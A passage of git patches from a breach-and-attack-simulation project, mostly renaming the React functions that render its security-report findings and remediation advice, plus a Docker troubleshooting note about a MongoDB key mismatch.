'./security/issues/Struts2Issue'; +import {webLogicIssueOverview, webLogicIssueReport} from './security/issues/WebLogicIssue'; +import {hadoopIssueOverview, hadoopIssueReport} from './security/issues/HadoopIssue'; +import {mssqlIssueOverview, mssqlIssueReport} from './security/issues/MssqlIssue'; +import {drupalIssueOverview, drupalIssueReport} from './security/issues/DrupalIssue'; +import {vsftpdIssueOverview, vsftpdIssueReport} from './security/issues/VsftpdIssue'; +import {wmiPasswordIssueReport, wmiPthIssueReport} from './security/issues/WmiIssue'; +import {sshKeysReport, shhIssueReport, sshIssueOverview} from './security/issues/SshIssue'; +import {sambacryIssueOverview, sambacryIssueReport} from './security/issues/SambacryIssue'; +import {elasticIssueOverview, elasticIssueReport} from './security/issues/ElasticIssue'; +import {shellShockIssueOverview, shellShockIssueReport} from './security/issues/ShellShockIssue'; +import {ms08_067IssueOverview, ms08_067IssueReport} from './security/issues/MS08_067Issue'; import { crossSegmentIssueOverview, - generateCrossSegmentIssue, - generateIslandCrossSegmentIssue + crossSegmentIssueReport, + islandCrossSegmentIssueReport } from './security/issues/CrossSegmentIssue'; import { - generateSharedCredsDomainIssue, generateSharedCredsIssue, generateSharedLocalAdminsIssue, + sharedCredsDomainIssueReport, sharedCredsIssueReport, sharedLocalAdminsIssueReport, sharedAdminsDomainIssueOverview, sharedPasswordsIssueOverview } from './security/issues/SharedPasswordsIssue'; -import {generateTunnelIssue, generateTunnelIssueOverview} from './security/issues/TunnelIssue'; -import {StolenCredsIssueOverview} from './security/issues/StolenCredsIssue'; -import {WeakPasswordIssueOverview} from './security/issues/WeakPasswordIssue'; -import {AzurePasswordIssueOverview, AzurePasswordIssueReport} from './security/issues/AzurePasswordIssue'; -import {generateStrongUsersOnCritIssue} from './security/issues/StrongUsersOnCritIssue'; +import {tunnelIssueReport, tunnelIssueOverview} from './security/issues/TunnelIssue'; +import {stolenCredsIssueOverview} from './security/issues/StolenCredsIssue'; +import {weakPasswordIssueOverview} from './security/issues/WeakPasswordIssue'; +import {azurePasswordIssueOverview, azurePasswordIssueReport} from './security/issues/AzurePasswordIssue'; +import {strongUsersOnCritIssueReport} from './security/issues/StrongUsersOnCritIssue'; import { - ZerologonIssueOverview, - ZerologonIssueReport, - ZerologonOverviewWithFailedPassResetWarning + zerologonIssueOverview, + zerologonIssueReport, + zerologonOverviewWithFailedPassResetWarning } from './security/issues/ZerologonIssue'; @@ -76,123 +76,123 @@ class ReportPageComponent extends AuthComponent { { 'SmbExploiter': { [this.issueContentTypes.REPORT]: { - [this.credentialTypes.PASSWORD]: generateSmbPasswordReport, - [this.credentialTypes.HASH]: generateSmbPthReport + [this.credentialTypes.PASSWORD]: smbPasswordReport, + [this.credentialTypes.HASH]: smbPthReport }, [this.issueContentTypes.TYPE]: this.issueTypes.DANGER }, 'Struts2Exploiter': { - [this.issueContentTypes.OVERVIEW]: Struts2IssueOverview, - [this.issueContentTypes.REPORT]: Struts2IssueReport, + [this.issueContentTypes.OVERVIEW]: struts2IssueOverview, + [this.issueContentTypes.REPORT]: struts2IssueReport, [this.issueContentTypes.TYPE]: this.issueTypes.DANGER }, 'WebLogicExploiter': { - [this.issueContentTypes.OVERVIEW]: WebLogicIssueOverview, - [this.issueContentTypes.REPORT]: WebLogicIssueReport, + [this.issueContentTypes.OVERVIEW]: webLogicIssueOverview, + [this.issueContentTypes.REPORT]: webLogicIssueReport, [this.issueContentTypes.TYPE]: this.issueTypes.DANGER }, 'HadoopExploiter': { - [this.issueContentTypes.OVERVIEW]: HadoopIssueOverview, - [this.issueContentTypes.REPORT]: HadoopIssueReport, + [this.issueContentTypes.OVERVIEW]: hadoopIssueOverview, + [this.issueContentTypes.REPORT]: hadoopIssueReport, [this.issueContentTypes.TYPE]: this.issueTypes.DANGER }, 'MSSQLExploiter': { - [this.issueContentTypes.OVERVIEW]: MssqlIssueOverview, - [this.issueContentTypes.REPORT]: MssqlIssueReport, + [this.issueContentTypes.OVERVIEW]: mssqlIssueOverview, + [this.issueContentTypes.REPORT]: mssqlIssueReport, [this.issueContentTypes.TYPE]: this.issueTypes.DANGER }, 'DrupalExploiter': { - [this.issueContentTypes.OVERVIEW]: DrupalIssueOverview, - [this.issueContentTypes.REPORT]: DrupalIssueReport, + [this.issueContentTypes.OVERVIEW]: drupalIssueOverview, + [this.issueContentTypes.REPORT]: drupalIssueReport, [this.issueContentTypes.TYPE]: this.issueTypes.DANGER }, 'VSFTPDExploiter': { - [this.issueContentTypes.OVERVIEW]: VsftpdIssueOverview, - [this.issueContentTypes.REPORT]: VsftpdIssueReport, + [this.issueContentTypes.OVERVIEW]: vsftpdIssueOverview, + [this.issueContentTypes.REPORT]: vsftpdIssueReport, [this.issueContentTypes.TYPE]: this.issueTypes.DANGER }, 'WmiExploiter': { [this.issueContentTypes.REPORT]: { - [this.credentialTypes.PASSWORD]: generateWmiPasswordIssue, - [this.credentialTypes.HASH]: generateWmiPthIssue + [this.credentialTypes.PASSWORD]: wmiPasswordIssueReport, + [this.credentialTypes.HASH]: wmiPthIssueReport }, [this.issueContentTypes.TYPE]: this.issueTypes.DANGER }, 'SSHExploiter': { - [this.issueContentTypes.OVERVIEW]: SshIssueOverview, + [this.issueContentTypes.OVERVIEW]: sshIssueOverview, [this.issueContentTypes.REPORT]: { - [this.credentialTypes.PASSWORD]: ShhIssueReport, - [this.credentialTypes.KEY]: generateSshKeysReport + [this.credentialTypes.PASSWORD]: shhIssueReport, + [this.credentialTypes.KEY]: sshKeysReport }, [this.issueContentTypes.TYPE]: this.issueTypes.DANGER }, 'SambaCryExploiter': { - [this.issueContentTypes.OVERVIEW]: SambacryIssueOverview, - [this.issueContentTypes.REPORT]: SambacryIssueReport, + [this.issueContentTypes.OVERVIEW]: sambacryIssueOverview, + [this.issueContentTypes.REPORT]: sambacryIssueReport, [this.issueContentTypes.TYPE]: this.issueTypes.DANGER }, 'ElasticGroovyExploiter': { - [this.issueContentTypes.OVERVIEW]: ElasticIssueOverview, - [this.issueContentTypes.REPORT]: ElasticIssueReport, + [this.issueContentTypes.OVERVIEW]: elasticIssueOverview, + [this.issueContentTypes.REPORT]: elasticIssueReport, [this.issueContentTypes.TYPE]: this.issueTypes.DANGER }, 'ShellShockExploiter': { - [this.issueContentTypes.OVERVIEW]: ShellShockIssueOverview, - [this.issueContentTypes.REPORT]: ShellShockIssueReport, + [this.issueContentTypes.OVERVIEW]: shellShockIssueOverview, + [this.issueContentTypes.REPORT]: shellShockIssueReport, [this.issueContentTypes.TYPE]: this.issueTypes.DANGER }, 'Ms08_067_Exploiter': { - [this.issueContentTypes.OVERVIEW]: MS08_067IssueOverview, - [this.issueContentTypes.REPORT]: MS08_067IssueReport, + [this.issueContentTypes.OVERVIEW]: ms08_067IssueOverview, + [this.issueContentTypes.REPORT]: ms08_067IssueReport, [this.issueContentTypes.TYPE]: this.issueTypes.DANGER }, 'ZerologonExploiter': { - [this.issueContentTypes.OVERVIEW]: ZerologonIssueOverview, - [this.issueContentTypes.REPORT]: ZerologonIssueReport, + [this.issueContentTypes.OVERVIEW]: zerologonIssueOverview, + [this.issueContentTypes.REPORT]: zerologonIssueReport, [this.issueContentTypes.TYPE]: this.issueTypes.DANGER }, 'zerologon_pass_restore_failed': { - [this.issueContentTypes.OVERVIEW]: ZerologonOverviewWithFailedPassResetWarning, + [this.issueContentTypes.OVERVIEW]: zerologonOverviewWithFailedPassResetWarning, }, 'island_cross_segment': { [this.issueContentTypes.OVERVIEW]: crossSegmentIssueOverview, - [this.issueContentTypes.REPORT]: generateIslandCrossSegmentIssue, + [this.issueContentTypes.REPORT]: islandCrossSegmentIssueReport, [this.issueContentTypes.TYPE]: this.issueTypes.WARNING }, 'tunnel': { - [this.issueContentTypes.OVERVIEW]: generateTunnelIssueOverview, - [this.issueContentTypes.REPORT]: generateTunnelIssue, + [this.issueContentTypes.OVERVIEW]: tunnelIssueOverview, + [this.issueContentTypes.REPORT]: tunnelIssueReport, [this.issueContentTypes.TYPE]: this.issueTypes.WARNING }, 'shared_passwords': { [this.issueContentTypes.OVERVIEW]: sharedPasswordsIssueOverview, - [this.issueContentTypes.REPORT]: generateSharedCredsIssue, + [this.issueContentTypes.REPORT]: sharedCredsIssueReport, [this.issueContentTypes.TYPE]: this.issueTypes.WARNING }, 'shared_admins_domain': { [this.issueContentTypes.OVERVIEW]: sharedAdminsDomainIssueOverview, - [this.issueContentTypes.REPORT]: generateSharedLocalAdminsIssue, + [this.issueContentTypes.REPORT]: sharedLocalAdminsIssueReport, [this.issueContentTypes.TYPE]: this.issueTypes.WARNING }, 'shared_passwords_domain': { - [this.issueContentTypes.REPORT]: generateSharedCredsDomainIssue, + [this.issueContentTypes.REPORT]: sharedCredsDomainIssueReport, [this.issueContentTypes.TYPE]: this.issueTypes.WARNING }, 'strong_users_on_crit': { - [this.issueContentTypes.REPORT]: generateStrongUsersOnCritIssue, + [this.issueContentTypes.REPORT]: strongUsersOnCritIssueReport, [this.issueContentTypes.TYPE]: this.issueTypes.DANGER }, 'azure_password': { - [this.issueContentTypes.OVERVIEW]: AzurePasswordIssueOverview, - [this.issueContentTypes.REPORT]: AzurePasswordIssueReport, + [this.issueContentTypes.OVERVIEW]: azurePasswordIssueOverview, + [this.issueContentTypes.REPORT]: azurePasswordIssueReport, [this.issueContentTypes.TYPE]: this.issueTypes.DANGER }, 'weak_password': { - [this.issueContentTypes.OVERVIEW]: WeakPasswordIssueOverview, + [this.issueContentTypes.OVERVIEW]: weakPasswordIssueOverview, [this.issueContentTypes.TYPE]: this.issueTypes.DANGER }, 'stolen_creds': { - [this.issueContentTypes.OVERVIEW]: StolenCredsIssueOverview, + [this.issueContentTypes.OVERVIEW]: stolenCredsIssueOverview, [this.issueContentTypes.TYPE]: this.issueTypes.DANGER } } @@ -412,7 +412,7 @@ class ReportPageComponent extends AuthComponent {
    The Monkey uncovered the following set of segmentation issues:
      - {this.state.report.overview.cross_segment_issues.map(x => generateCrossSegmentIssue(x))} + {this.state.report.overview.cross_segment_issues.map(x => crossSegmentIssueReport(x))}
    diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/AzurePasswordIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/AzurePasswordIssue.js index f572347dc48..78afa599baa 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/AzurePasswordIssue.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/AzurePasswordIssue.js @@ -1,13 +1,13 @@ import React from 'react'; import CollapsibleWellComponent from '../CollapsibleWell'; -export function AzurePasswordIssueOverview() { +export function azurePasswordIssueOverview() { return (
  • Azure machines expose plaintext passwords. (More info)
  • ) } -export function AzurePasswordIssueReport(issue) { +export function azurePasswordIssueReport(issue) { return ( <> Delete VM Access plugin configuration files. diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/CrossSegmentIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/CrossSegmentIssue.js index f1d84950db6..6c1ece1ea33 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/CrossSegmentIssue.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/CrossSegmentIssue.js @@ -7,7 +7,7 @@ export function crossSegmentIssueOverview() { different segments are able to communicate.) } -export function generateCrossSegmentIssue(crossSegmentIssue) { +export function crossSegmentIssueReport(crossSegmentIssue) { let crossSegmentIssueOverview = 'Communication possible from ' + `${crossSegmentIssue['source_subnet']} to ${crossSegmentIssue['target_subnet']}`; @@ -17,7 +17,7 @@ export function generateCrossSegmentIssue(crossSegmentIssue) {
      {crossSegmentIssue['issues'].map( - issue => generateCrossSegmentIssueListItem(issue) + issue => getCrossSegmentIssueListItem(issue) )}
    @@ -25,15 +25,15 @@ export function generateCrossSegmentIssue(crossSegmentIssue) { ); } -export function generateCrossSegmentIssueListItem(issue) { +export function getCrossSegmentIssueListItem(issue) { if (issue['is_self']) { - return generateCrossSegmentSingleHostMessage(issue); + return getCrossSegmentSingleHostMessage(issue); } - return generateCrossSegmentMultiHostMessage(issue); + return getCrossSegmentMultiHostMessage(issue); } -export function generateCrossSegmentSingleHostMessage(issue) { +export function getCrossSegmentSingleHostMessage(issue) { return (
  • {`Machine ${issue['hostname']} has both ips: ${issue['source']} and ${issue['target']}`} @@ -41,20 +41,20 @@ export function generateCrossSegmentSingleHostMessage(issue) { ); } -export function generateCrossSegmentMultiHostMessage(issue) { +export function getCrossSegmentMultiHostMessage(issue) { return (
  • IP {issue['source']} ({issue['hostname']}) was able to communicate with IP {issue['target']} using:
      {issue['icmp'] &&
    • ICMP
    • } - {this.generateCrossSegmentServiceListItems(issue)} + {getCrossSegmentServiceListItems(issue)}
  • ); } -export function generateCrossSegmentServiceListItems(issue) { +export function getCrossSegmentServiceListItems(issue) { let service_list_items = []; for (const [service, info] of Object.entries(issue['services'])) { @@ -68,7 +68,7 @@ export function generateCrossSegmentServiceListItems(issue) { return service_list_items; } -export function generateIslandCrossSegmentIssue(issue) { +export function islandCrossSegmentIssueReport(issue) { return ( <> Segment your network and make sure there is no communication between machines from different segments. diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/DrupalIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/DrupalIssue.js index 15d00feb201..d5cc068bbcd 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/DrupalIssue.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/DrupalIssue.js @@ -1,12 +1,12 @@ import React from 'react'; import CollapsibleWellComponent from '../CollapsibleWell'; -export function DrupalIssueOverview() { +export function drupalIssueOverview() { return (
  • Drupal server/s are vulnerable to CVE-2019-6340.
  • ) } -export function DrupalIssueReport(issue) { +export function drupalIssueReport(issue) { return ( <> Upgrade Drupal server to versions 8.5.11, 8.6.10, or later. diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ElasticIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ElasticIssue.js index 04198a30906..4d389bf2b23 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ElasticIssue.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ElasticIssue.js @@ -1,13 +1,13 @@ import React from 'react'; import CollapsibleWellComponent from '../CollapsibleWell'; -export function ElasticIssueOverview() { +export function elasticIssueOverview() { return (
  • Elasticsearch servers are vulnerable to CVE-2015-1427.
  • ) } -export function ElasticIssueReport(issue) { +export function elasticIssueReport(issue) { return ( <> Update your Elastic Search server to version 1.4.3 and up. diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/HadoopIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/HadoopIssue.js index e63e541ef9e..ff126ef8a7f 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/HadoopIssue.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/HadoopIssue.js @@ -1,11 +1,11 @@ import React from 'react'; import CollapsibleWellComponent from '../CollapsibleWell'; -export function HadoopIssueOverview() { +export function hadoopIssueOverview() { return (
  • Hadoop/Yarn servers are vulnerable to remote code execution.
  • ) } -export function HadoopIssueReport(issue) { +export function hadoopIssueReport(issue) { return ( <> Run Hadoop in secure mode (Machines are vulnerable to ‘Conficker’ (MS08-067). ) } -export function MS08_067IssueReport(issue) { +export function ms08_067IssueReport(issue) { return ( <> Install the latest Windows updates or upgrade to a newer operating system. diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/MssqlIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/MssqlIssue.js index c1ff6e9ec38..e8e1bb16208 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/MssqlIssue.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/MssqlIssue.js @@ -1,11 +1,11 @@ import React from 'react'; import CollapsibleWellComponent from '../CollapsibleWell'; -export function MssqlIssueOverview() { +export function mssqlIssueOverview() { return (
  • MS-SQL servers are vulnerable to remote code execution via xp_cmdshell command.
  • ) } -export function MssqlIssueReport(issue) { +export function mssqlIssueReport(issue) { return ( <> Disable the xp_cmdshell option. diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/PthCriticalServiceIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/PthCriticalServiceIssue.js index 3a78c30082c..73589715b45 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/PthCriticalServiceIssue.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/PthCriticalServiceIssue.js @@ -1,6 +1,6 @@ import React from 'react'; -export function PthCriticalServiceIssueOverview() { +export function pthCriticalServiceIssueOverview() { return (
  • Mimikatz found login credentials of a user who has admin access to a server defined as critical.
  • ) } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SambacryIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SambacryIssue.js index c07fcce7f0b..05bcb6850fb 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SambacryIssue.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SambacryIssue.js @@ -1,13 +1,13 @@ import React from 'react'; import CollapsibleWellComponent from '../CollapsibleWell'; -export function SambacryIssueOverview() { +export function sambacryIssueOverview() { return (
  • Samba servers are vulnerable to ‘SambaCry’ (CVE-2017-7494).
  • ) } -export function SambacryIssueReport(issue) { +export function sambacryIssueReport(issue) { return ( <> Change {issue.username}'s password to a complex one-use password diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SharedPasswordsIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SharedPasswordsIssue.js index 8308a635738..2a09dbb83e3 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SharedPasswordsIssue.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SharedPasswordsIssue.js @@ -11,7 +11,7 @@ export function sharedAdminsDomainIssueOverview() { administrator.) } -export function generateSharedCredsDomainIssue(issue) { +export function sharedCredsDomainIssueReport(issue) { return ( <> Some domain users are sharing passwords, this should be fixed by changing passwords. @@ -23,7 +23,7 @@ export function generateSharedCredsDomainIssue(issue) { ); } -export function generateSharedCredsIssue(issue) { +export function sharedCredsIssueReport(issue) { return ( <> Some users are sharing passwords, this should be fixed by changing passwords. @@ -35,7 +35,7 @@ export function generateSharedCredsIssue(issue) { ); } -export function generateSharedLocalAdminsIssue(issue) { +export function sharedLocalAdminsIssueReport(issue) { return ( <> Make sure the right administrator accounts are managing the right machines, and that there isn’t an diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ShellShockIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ShellShockIssue.js index 02daa292cfc..b2496fb218c 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ShellShockIssue.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ShellShockIssue.js @@ -1,18 +1,18 @@ import React from 'react'; import CollapsibleWellComponent from '../CollapsibleWell'; -export function ShellShockIssueOverview() { +export function shellShockIssueOverview() { return (
  • Machines are vulnerable to ‘Shellshock’ (CVE-2014-6271).
  • ) } -function generateShellshockPathListBadges(paths) { +function getShellshockPathListBadges(paths) { return paths.map(path => {path}); } -export function ShellShockIssueReport(issue) { +export function shellShockIssueReport(issue) { return ( <> Update your Bash to a ShellShock-patched version. @@ -23,7 +23,7 @@ export function ShellShockIssueReport(issue) {
    The attack was made possible because the HTTP server running on TCP port {issue.port} was vulnerable to a shell injection attack on the - paths: {generateShellshockPathListBadges(issue.paths)}. + paths: {getShellshockPathListBadges(issue.paths)}. ); diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SmbIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SmbIssue.js index eec516a3e60..66e2117ffa9 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SmbIssue.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SmbIssue.js @@ -1,7 +1,7 @@ import React from 'react'; import CollapsibleWellComponent from '../CollapsibleWell'; -export function generateSmbPasswordReport(issue) { +export function smbPasswordReport(issue) { return ( <> Change {issue.username}'s password to a complex one-use password @@ -18,7 +18,7 @@ export function generateSmbPasswordReport(issue) { ); } -export function generateSmbPthReport(issue) { +export function smbPthReport(issue) { return ( <> Change {issue.username}'s password to a complex one-use password diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SshIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SshIssue.js index d13862372ff..cb74018d814 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SshIssue.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SshIssue.js @@ -1,11 +1,11 @@ import React from 'react'; import CollapsibleWellComponent from '../CollapsibleWell'; -export function SshIssueOverview() { +export function sshIssueOverview() { return (
  • Stolen SSH keys are used to exploit other machines.
  • ) } -export function ShhIssueReport(issue) { +export function shhIssueReport(issue) { return ( <> Change {issue.username}'s password to a complex one-use password @@ -22,7 +22,7 @@ export function ShhIssueReport(issue) { ); } -export function generateSshKeysReport(issue) { +export function sshKeysReport(issue) { return ( <> Protect {issue.ssh_key} private key with a pass phrase. diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/StolenCredsIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/StolenCredsIssue.js index 62d92ccc3dc..a0b0c037b7f 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/StolenCredsIssue.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/StolenCredsIssue.js @@ -1,5 +1,5 @@ import React from 'react'; -export function StolenCredsIssueOverview() { +export function stolenCredsIssueOverview() { return (
  • Stolen credentials are used to exploit other machines.
  • ) } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/StrongUsersOnCritIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/StrongUsersOnCritIssue.js index 7f87e72c17d..3282077106f 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/StrongUsersOnCritIssue.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/StrongUsersOnCritIssue.js @@ -1,7 +1,7 @@ import React from 'react'; import CollapsibleWellComponent from '../CollapsibleWell'; -export function generateStrongUsersOnCritIssue(issue) { +export function strongUsersOnCritIssueReport(issue) { return ( <> This critical machine is open to attacks via strong users with access to it. diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Struts2Issue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Struts2Issue.js index 7a590ba3c8c..ca4c2b2b965 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Struts2Issue.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Struts2Issue.js @@ -1,13 +1,13 @@ import React from 'react'; import CollapsibleWellComponent from '../CollapsibleWell'; -export function Struts2IssueOverview() { +export function struts2IssueOverview() { return (
  • Struts2 servers are vulnerable to remote code execution. ( CVE-2017-5638)
  • ) } -export function Struts2IssueReport(issue) { +export function struts2IssueReport(issue) { return ( <> Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions. diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/TunnelIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/TunnelIssue.js index 09ed635c5a9..c4d52751a16 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/TunnelIssue.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/TunnelIssue.js @@ -1,11 +1,11 @@ import React from 'react'; import CollapsibleWellComponent from '../CollapsibleWell'; -export function generateTunnelIssueOverview(){ +export function tunnelIssueOverview(){ return (
  • Weak segmentation - Machines were able to communicate over unused ports.
  • ) } -export function generateTunnelIssue(issue) { +export function tunnelIssueReport(issue) { return ( <> Use micro-segmentation policies to disable communication other than the required. diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/VsftpdIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/VsftpdIssue.js index 214c1896bc8..e5419a9c275 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/VsftpdIssue.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/VsftpdIssue.js @@ -1,13 +1,13 @@ import React from 'react'; import CollapsibleWellComponent from '../CollapsibleWell'; -export function VsftpdIssueOverview() { +export function vsftpdIssueOverview() { return (
  • VSFTPD is vulnerable to CVE-2011-2523.
  • ) } -export function VsftpdIssueReport(issue) { +export function vsftpdIssueReport(issue) { return ( <> Update your VSFTPD server to the latest version vsftpd-3.0.3. diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/WeakPasswordIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/WeakPasswordIssue.js index 0a7ba30b1f3..ee3c6c04f0b 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/WeakPasswordIssue.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/WeakPasswordIssue.js @@ -1,6 +1,6 @@ import React from 'react'; -export function WeakPasswordIssueOverview() { +export function weakPasswordIssueOverview() { return (
  • Machines are accessible using passwords supplied by the user during the Monkey’s configuration.
  • ) } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/WebLogicIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/WebLogicIssue.js index 0bd5e200f0c..e7678c448f0 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/WebLogicIssue.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/WebLogicIssue.js @@ -1,11 +1,11 @@ import React from 'react'; import CollapsibleWellComponent from '../CollapsibleWell'; -export function WebLogicIssueOverview() { +export function webLogicIssueOverview() { return (
  • Oracle WebLogic servers are susceptible to a remote code execution vulnerability.
  • ) } -export function WebLogicIssueReport(issue) { +export function webLogicIssueReport(issue) { return ( <> Update Oracle WebLogic server to the latest supported version. diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/WmiIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/WmiIssue.js index 401f8a9d953..cce6312749f 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/WmiIssue.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/WmiIssue.js @@ -1,7 +1,7 @@ import React from 'react'; import CollapsibleWellComponent from '../CollapsibleWell'; -export function generateWmiPasswordIssue(issue) { +export function wmiPasswordIssueReport(issue) { return ( <> Change {issue.username}'s password to a complex one-use password @@ -18,7 +18,7 @@ export function generateWmiPasswordIssue(issue) { ); } -export function generateWmiPthIssue(issue) { +export function wmiPthIssueReport(issue) { return ( <> Change {issue.username}'s password to a complex one-use password diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ZerologonIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ZerologonIssue.js index f125d67ecf0..771aecf6c74 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ZerologonIssue.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ZerologonIssue.js @@ -3,7 +3,7 @@ import CollapsibleWellComponent from '../CollapsibleWell'; import WarningIcon from '../../../ui-components/WarningIcon'; import {Button} from 'react-bootstrap'; -export function ZerologonIssueOverview() { +export function zerologonIssueOverview() { return (
  • Some Windows domain controllers are vulnerable to 'Zerologon' ( @@ -17,8 +17,8 @@ export function ZerologonIssueOverview() { ) } -export function ZerologonOverviewWithFailedPassResetWarning() { - let overview = [ZerologonIssueOverview()]; +export function zerologonOverviewWithFailedPassResetWarning() { + let overview = [zerologonIssueOverview()]; overview.push(
  • @@ -36,7 +36,7 @@ export function ZerologonOverviewWithFailedPassResetWarning() { return overview; } -export function ZerologonIssueReport(issue) { +export function zerologonIssueReport(issue) { return ( <> Install Windows security updates. From c7b3fa67fd9931cd5cdd16a8d64580889b9ff3e5 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 31 Mar 2021 16:40:36 +0530 Subject: [PATCH 0066/1360] Update Docker docs (#1065) * Add troubleshooting section to docker setup docs --- docs/content/setup/docker.md | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/docs/content/setup/docker.md b/docs/content/setup/docker.md index 14454bdc67b..a9f59647db4 100644 --- a/docs/content/setup/docker.md +++ b/docs/content/setup/docker.md @@ -31,3 +31,16 @@ If you'd like to keep your existing configuration, you can export it to a file using the *Export config* button and then import it to the new Monkey Island. ![Export configuration](../../images/setup/export-configuration.png "Export configuration") + +## Troubleshooting + +### The Monkey Island container crashes due to a 'UnicodeDecodeError' +`UnicodeDecodeError: 'utf-8' codec can't decode byte 0xee in position 0: invalid continuation byte` + +You may encounter this error because of the existence of different MongoDB keys in the `monkey-island` and `monkey-mongo` containers. + +Starting a new container from the `guardicore/monkey-island:1.10.0` image generates a new secret key for storing sensitive information in MongoDB. If you have an old database instance running (from a previous run of Monkey), the key in the `monkey-mongo` container is different than the newly generated key in the `monkey-island` container. Since encrypted data (obtained from the previous run) is stored in MongoDB with the old key, decryption fails and you get this error. + +You can fix this in two ways: +1. Instead of starting a new container for the Monkey Island, you can run `docker container start -a monkey-island` to restart the existing container, which will contain the correct key material. +2. Kill and remove the existing MongoDB container, and start a new one. This will remove the old database entirely. Then, start the new Monkey Island container. From 98b64da8966c0b4138bdc37b87fbaaef409581da Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 9 Feb 2021 12:33:01 -0500 Subject: 